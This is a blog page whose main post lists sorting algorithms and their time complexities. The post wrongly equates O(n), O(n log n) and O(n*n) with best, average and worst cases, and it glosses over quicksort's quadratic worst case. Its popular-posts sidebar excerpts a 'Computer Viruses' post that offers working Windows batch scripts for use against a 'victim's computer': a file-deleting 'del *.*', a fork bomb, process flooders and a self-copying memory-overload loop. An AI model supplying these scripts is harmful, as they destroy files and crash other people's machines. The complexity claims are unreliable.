Time Complexity of Sortings

-

 Time Complexity of  Sorting Algorithm....

 

  •  Bubble Sort 
  • Selection Sort 
  • Insertion Sort 
these above have time complexity of order  = O(n*n).
  •  Merge sort
  • Quick sort
these have the time complexity of order = O(n(logn)).
  •  count sort
this has the time complexity of order = O(n). 
 
💥 Note :
 
👉Time Complexity of order O(n) is called Best  case.
👉 Time Complexity of order O(n(logn) is called Average  case.
👉Time Complexity of order O(n*n) is called Worst  case.
 

Comments

Post a Comment

Popular posts from this blog

Computer Viruses

-
 Hello friends,                            Today I am going to tell you some computer viruses,  That can do a lot of loss in your victim's computer (like wipe out memory removes all the contents in victim's computer). Follow below points to create viruses......    First open your notepad or any text editor in your desktop and you can write any computer virus code given below. There are following some viruses code :   1. Application flooder virus @echo off :hey start cmd start write start notepad start explorer start calc goto hey    2. Wipe out memory  @echo off del *.*   3. Virus fork :s start %0 goto s   4. Memory overload virus @echo off :start set x=%random% set %0 > %x%.bat start %x% goto start   5. Folder blaster virus @echo off cd ./Desktop md 1 md 2 md 3 md 4 md 5 md 6 md 7 md 8 md 9 md 0 :loop start 1 start 2 start 3 start 4 start 5 start 6 start 7 start 8 start 9 start 0 goto loop                                      After typing these of above one code in notepad
Read more

Handwritten Digits Recognition using Machine Learning

-
Image
      Recognizing Handwritten Digits with scikit-learn                                   In this project we will try to recognize handwritten digits using machine learning models like support vector machine and random forest classifier with the help of scikit-learn library. Handwriting Recognition                                  Handwritten text recognition is one of the most challenging task so to address this issue scikit-learn library plays important role to better understanding this technique. But people often think about OCR (Optical Character Recognition) software that can read text, pdf or other electronic documents. But this problem by choosing statistical approach may be optimal solution. You can read about scikit-learn library from this  scikit-learn: machine learning in Python — scikit-learn 1.1.1 documentation  about its usages for different applications like regression, classification and clustering etc. Installation of important machine learning libraries as follows: For
Read more